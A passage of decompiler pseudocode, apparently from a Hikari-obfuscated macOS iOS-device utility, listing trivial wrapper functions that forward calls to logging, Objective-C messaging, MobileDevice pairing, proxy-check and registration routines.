//----- (0000000100223B50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18800(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100223B60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18801(NSString *a1)
{
HikariFunctionWrapper_18800(a1);
}
//----- (0000000100223B70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18802(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100223B80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18803(void *a1, const char *a2)
{
return HikariFunctionWrapper_18802(a1, a2);
}
//----- (0000000100223B90) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_18804(useconds_t a1)
{
return usleep(a1);
}
//----- (0000000100223BA0) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_18805(useconds_t a1)
{
return HikariFunctionWrapper_18804(a1);
}
//----- (0000000100223BB0) ----------------------------------------------------
pid_t HikariFunctionWrapper_18806()
{
return getpid();
}
//----- (0000000100223BC0) ----------------------------------------------------
pid_t HikariFunctionWrapper_18807()
{
return HikariFunctionWrapper_18806();
}
//----- (0000000100223BD0) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_18808(int a1)
{
return syscall(a1);
}
//----- (0000000100223BE0) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_18809(int a1)
{
return HikariFunctionWrapper_18808(a1);
}
//----- (0000000100223BF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18810(void *a1)
{
return ExistFromServer(a1);
}
//----- (0000000100223C00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18811(void *a1)
{
return HikariFunctionWrapper_18810(a1);
}
//----- (0000000100223C10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18812(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100223C20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18813(void *a1, const char *a2)
{
return HikariFunctionWrapper_18812(a1, a2);
}
//----- (0000000100223C30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18814(void *a1)
{
showErrMessage(a1);
}
//----- (0000000100223C40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18815(void *a1)
{
HikariFunctionWrapper_18814(a1);
}
//----- (0000000100223C50) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18816()
{
Close3uTools();
}
//----- (0000000100223C60) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18817()
{
HikariFunctionWrapper_18816();
}
//----- (0000000100223C70) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18818(__int64 a1)
{
return AMDeviceConnect(a1);
}
// 100256156: using guessed type __int64 __fastcall AMDeviceConnect(_QWORD);
//----- (0000000100223C80) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18819(__int64 a1)
{
return HikariFunctionWrapper_18818(a1);
}
//----- (0000000100223C90) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18820(__int64 a1)
{
return AMDevicePair(a1);
}
// 100256180: using guessed type __int64 __fastcall AMDevicePair(_QWORD);
//----- (0000000100223CA0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18821(__int64 a1)
{
return HikariFunctionWrapper_18820(a1);
}
//----- (0000000100223CB0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18822(__int64 a1)
{
return AMDeviceStartSession(a1);
}
// 100256198: using guessed type __int64 __fastcall AMDeviceStartSession(_QWORD);
//----- (0000000100223CC0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18823(__int64 a1)
{
return HikariFunctionWrapper_18822(a1);
}
//----- (0000000100223CD0) ----------------------------------------------------
bool HikariFunctionWrapper_18824()
{
return MakeFactoryLegacy();
}
//----- (0000000100223CE0) ----------------------------------------------------
bool HikariFunctionWrapper_18825()
{
return HikariFunctionWrapper_18824();
}
//----- (0000000100223CF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18826(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100223D00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18827(void *a1, const char *a2)
{
HikariFunctionWrapper_18826(a1, a2);
}
//----- (0000000100223D10) ----------------------------------------------------
id HikariFunctionWrapper_18828()
{
return CheckRegistration();
}
//----- (0000000100223D20) ----------------------------------------------------
id HikariFunctionWrapper_18829()
{
return HikariFunctionWrapper_18828();
}
//----- (0000000100223D30) ----------------------------------------------------
char HikariFunctionWrapper_18830()
{
return checkInternetSharingCompatibility();
}
//----- (0000000100223D40) ----------------------------------------------------
char HikariFunctionWrapper_18831()
{
return HikariFunctionWrapper_18830();
}
//----- (0000000100223D50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18832(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100223D60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18833(void *a1, const char *a2)
{
return HikariFunctionWrapper_18832(a1, a2);
}
//----- (0000000100223D70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18834(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100223D80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18835(void *a1, const char *a2)
{
return HikariFunctionWrapper_18834(a1, a2);
}
//----- (0000000100223D90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18836(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100223DA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18837(void *a1, const char *a2)
{
return HikariFunctionWrapper_18836(a1, a2);
}
//----- (0000000100223DB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18838(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100223DC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18839(void *a1, const char *a2)
{
return HikariFunctionWrapper_18838(a1, a2);
}
//----- (0000000100223DD0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18840(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100223DE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18841(void *a1, const char *a2)
{
HikariFunctionWrapper_18840(a1, a2);
}
//----- (0000000100223DF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18842(void *a1)
{
showErrMessage(a1);
}
//----- (0000000100223E00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18843(void *a1)
{
HikariFunctionWrapper_18842(a1);
}
//----- (0000000100223E10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18844(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100223E20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18845(void *a1, const char *a2)
{
return HikariFunctionWrapper_18844(a1, a2);
}
//----- (0000000100223E30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18846(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100223E40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18847(NSString *a1)
{
HikariFunctionWrapper_18846(a1);
}
//----- (0000000100223E50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18848(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100223E60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18849(NSString *a1)
{
HikariFunctionWrapper_18848(a1);
}
//----- (0000000100223E70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18850(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100223E80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18851(void *a1, const char *a2)
{
HikariFunctionWrapper_18850(a1, a2);
}
//----- (0000000100223E90) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18852(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100223EA0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18853(void *a1, const char *a2)
{
HikariFunctionWrapper_18852(a1, a2);
}
//----- (0000000100223EB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18854(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100223EC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18855(void *a1, const char *a2)
{
HikariFunctionWrapper_18854(a1, a2);
}
//----- (0000000100223ED0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18856(__int64 a1)
{
return AMDevicePair(a1);
}
// 100256180: using guessed type __int64 __fastcall AMDevicePair(_QWORD);
//----- (0000000100223EE0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18857(__int64 a1)
{
return HikariFunctionWrapper_18856(a1);
}
//----- (0000000100223EF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18858(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100223F00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18859(NSString *a1)
{
HikariFunctionWrapper_18858(a1);
}
//----- (0000000100223F10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18860(void *a1)
{
showErrMessage(a1);
}
//----- (0000000100223F20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18861(void *a1)
{
HikariFunctionWrapper_18860(a1);
}
//----- (0000000100223F30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18862(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100223F40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18863(void *a1, const char *a2)
{
return HikariFunctionWrapper_18862(a1, a2);
}
//----- (0000000100223F50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18864(
__int64 a1,
__int64 a2,
__int64 a3,
unsigned int a4,
unsigned int a5)
{
CollectSyslogArchive(a1, a2, a3, a4, a5);
}
//----- (0000000100223F60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18865(
__int64 a1,
__int64 a2,
__int64 a3,
unsigned int a4,
unsigned int a5)
{
HikariFunctionWrapper_18864(a1, a2, a3, a4, a5);
}
//----- (0000000100223F70) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18866(__int64 a1)
{
return RequestPidList(a1);
}
//----- (0000000100223F80) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18867(__int64 a1)
{
return HikariFunctionWrapper_18866(a1);
}
//----- (0000000100223F90) ----------------------------------------------------
__int64 HikariFunctionWrapper_18868()
{
return isProxyEnabled();
}
//----- (0000000100223FA0) ----------------------------------------------------
__int64 HikariFunctionWrapper_18869()
{
return HikariFunctionWrapper_18868();
}
//----- (0000000100223FB0) ----------------------------------------------------
bool HikariFunctionWrapper_18870()
{
return disableProxy();
}
//----- (0000000100223FC0) ----------------------------------------------------
bool HikariFunctionWrapper_18871()
{
return HikariFunctionWrapper_18870();
}
//----- (0000000100223FD0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18872(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100223FE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18873(NSString *a1)
{
HikariFunctionWrapper_18872(a1);
}
//----- (0000000100223FF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18874(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100224000) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18875(void *a1, const char *a2)
{
HikariFunctionWrapper_18874(a1, a2);
}
//----- (0000000100224010) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18876(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224020) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18877(void *a1, const char *a2)
{
return HikariFunctionWrapper_18876(a1, a2);
}
//----- (0000000100224030) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18878(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100224040) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18879(void *a1, const char *a2)
{
HikariFunctionWrapper_18878(a1, a2);
}
//----- (0000000100224050) ----------------------------------------------------
unsigned int __fastcall HikariFunctionWrapper_18880(unsigned int a1)
{
return sleep(a1);
}
//----- (0000000100224060) ----------------------------------------------------
unsigned int __fastcall HikariFunctionWrapper_18881(unsigned int a1)
{
return HikariFunctionWrapper_18880(a1);
}
//----- (0000000100224070) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18882(__int64 a1)
{
return AMDevicePair(a1);
}
// 100256180: using guessed type __int64 __fastcall AMDevicePair(_QWORD);
//----- (0000000100224080) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18883(__int64 a1)
{
return HikariFunctionWrapper_18882(a1);
}
//----- (0000000100224090) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18884(NSString *a1)
{
NSLog(a1);
}
//----- (00000001002240A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18885(NSString *a1)
{
HikariFunctionWrapper_18884(a1);
}
//----- (00000001002240B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18886(NSString *a1)
{
NSLog(a1);
}
//----- (00000001002240C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18887(NSString *a1)
{
HikariFunctionWrapper_18886(a1);
}
//----- (00000001002240D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18888(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002240E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18889(void *a1, const char *a2)
{
HikariFunctionWrapper_18888(a1, a2);
}
//----- (00000001002240F0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18890(__int64 a1)
{
return AMDeviceCreateCopy(a1);
}
// 100256162: using guessed type __int64 __fastcall AMDeviceCreateCopy(_QWORD);
//----- (0000000100224100) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18891(__int64 a1)
{
return HikariFunctionWrapper_18890(a1);
}
//----- (0000000100224110) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18892(__int64 a1)
{
return AMDeviceIsPaired(a1);
}
// 100256174: using guessed type __int64 __fastcall AMDeviceIsPaired(_QWORD);
//----- (0000000100224120) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18893(__int64 a1)
{
return HikariFunctionWrapper_18892(a1);
}
//----- (0000000100224130) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18894(__int64 a1)
{
return AMDevicePair(a1);
}
// 100256180: using guessed type __int64 __fastcall AMDevicePair(_QWORD);
//----- (0000000100224140) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_18895(__int64 a1)
{
return HikariFunctionWrapper_18894(a1);
}
//----- (0000000100224150) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18896(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100224160) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18897(NSString *a1)
{
HikariFunctionWrapper_18896(a1);
}
//----- (0000000100224170) ----------------------------------------------------
pid_t HikariFunctionWrapper_18898()
{
return getpid();
}
//----- (0000000100224180) ----------------------------------------------------
pid_t HikariFunctionWrapper_18899()
{
return HikariFunctionWrapper_18898();
}
//----- (0000000100224190) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18900(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002241A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18901(void *a1, const char *a2)
{
return HikariFunctionWrapper_18900(a1, a2);
}
//----- (00000001002241B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18902(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002241C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18903(void *a1, const char *a2)
{
HikariFunctionWrapper_18902(a1, a2);
}
//----- (00000001002241D0) ----------------------------------------------------
CFDictionaryRef __fastcall HikariFunctionWrapper_18904(const __SCDynamicStore *a1)
{
return SCDynamicStoreCopyProxies(a1);
}
//----- (00000001002241E0) ----------------------------------------------------
CFDictionaryRef __fastcall HikariFunctionWrapper_18905(const __SCDynamicStore *a1)
{
return HikariFunctionWrapper_18904(a1);
}
//----- (00000001002241F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18906(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224200) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18907(void *a1, const char *a2)
{
return HikariFunctionWrapper_18906(a1, a2);
}
//----- (0000000100224210) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18908(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224220) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18909(void *a1, const char *a2)
{
return HikariFunctionWrapper_18908(a1, a2);
}
//----- (0000000100224230) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18910(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224240) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18911(void *a1, const char *a2)
{
return HikariFunctionWrapper_18910(a1, a2);
}
//----- (0000000100224250) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18912(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224260) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18913(void *a1, const char *a2)
{
return HikariFunctionWrapper_18912(a1, a2);
}
//----- (0000000100224270) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18914(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224280) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18915(void *a1, const char *a2)
{
return HikariFunctionWrapper_18914(a1, a2);
}
//----- (0000000100224290) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18916(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002242A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18917(void *a1, const char *a2)
{
return HikariFunctionWrapper_18916(a1, a2);
}
//----- (00000001002242B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18918(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002242C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18919(void *a1, const char *a2)
{
return HikariFunctionWrapper_18918(a1, a2);
}
//----- (00000001002242D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18920(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002242E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18921(void *a1, const char *a2)
{
return HikariFunctionWrapper_18920(a1, a2);
}
//----- (00000001002242F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18922(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224300) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18923(void *a1, const char *a2)
{
return HikariFunctionWrapper_18922(a1, a2);
}
//----- (0000000100224310) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18924(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224320) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18925(void *a1, const char *a2)
{
return HikariFunctionWrapper_18924(a1, a2);
}
//----- (0000000100224330) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18926(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224340) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18927(void *a1, const char *a2)
{
return HikariFunctionWrapper_18926(a1, a2);
}
//----- (0000000100224350) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18928(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224360) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18929(void *a1, const char *a2)
{
return HikariFunctionWrapper_18928(a1, a2);
}
//----- (0000000100224370) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18930(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224380) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18931(void *a1, const char *a2)
{
return HikariFunctionWrapper_18930(a1, a2);
}
//----- (0000000100224390) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18932(void *a1)
{
return encryptMyData(a1);
}
//----- (00000001002243A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18933(void *a1)
{
return HikariFunctionWrapper_18932(a1);
}
//----- (00000001002243B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18934(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002243C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18935(void *a1, const char *a2)
{
HikariFunctionWrapper_18934(a1, a2);
}
//----- (00000001002243D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18936(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002243E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18937(void *a1, const char *a2)
{
return HikariFunctionWrapper_18936(a1, a2);
}
//----- (00000001002243F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18938(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224400) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18939(void *a1, const char *a2)
{
return HikariFunctionWrapper_18938(a1, a2);
}
//----- (0000000100224410) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18940(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224420) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18941(void *a1, const char *a2)
{
return HikariFunctionWrapper_18940(a1, a2);
}
//----- (0000000100224430) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18942(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224440) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18943(void *a1, const char *a2)
{
return HikariFunctionWrapper_18942(a1, a2);
}
//----- (0000000100224450) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18944(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100224460) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18945(void *a1, const char *a2)
{
HikariFunctionWrapper_18944(a1, a2);
}
//----- (0000000100224470) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18946(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224480) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18947(void *a1, const char *a2)
{
return HikariFunctionWrapper_18946(a1, a2);
}
//----- (0000000100224490) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18948(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002244A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18949(void *a1, const char *a2)
{
return HikariFunctionWrapper_18948(a1, a2);
}
//----- (00000001002244B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18950(const void *a1, int a2)
{
_Block_object_dispose(a1, a2);
}
//----- (00000001002244C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18951(const void *a1, int a2)
{
HikariFunctionWrapper_18950(a1, a2);
}
//----- (00000001002244D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18952(const void *a1, int a2)
{
_Block_object_dispose(a1, a2);
}
//----- (00000001002244E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18953(const void *a1, int a2)
{
HikariFunctionWrapper_18952(a1, a2);
}
//----- (00000001002244F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18954(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224500) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18955(void *a1, const char *a2)
{
return HikariFunctionWrapper_18954(a1, a2);
}
//----- (0000000100224510) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18956(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100224520) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18957(void *a1, const char *a2)
{
HikariFunctionWrapper_18956(a1, a2);
}
//----- (0000000100224530) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18958(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224540) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18959(void *a1, const char *a2)
{
return HikariFunctionWrapper_18958(a1, a2);
}
//----- (0000000100224550) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18960(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100224560) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18961(void *a1, const char *a2)
{
return HikariFunctionWrapper_18960(a1, a2);
}
//----- (0000000100224570) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18962(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100224580) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18963(NSString *a1)
{
HikariFunctionWrapper_18962(a1);
}
//----- (0000000100224590) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18964(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002245A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18965(void *a1, const char *a2)
{
HikariFunctionWrapper_18964(a1, a2);
}
//----- (00000001002245B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18966(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002245C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_18967(void *a1, const char *a2)
{
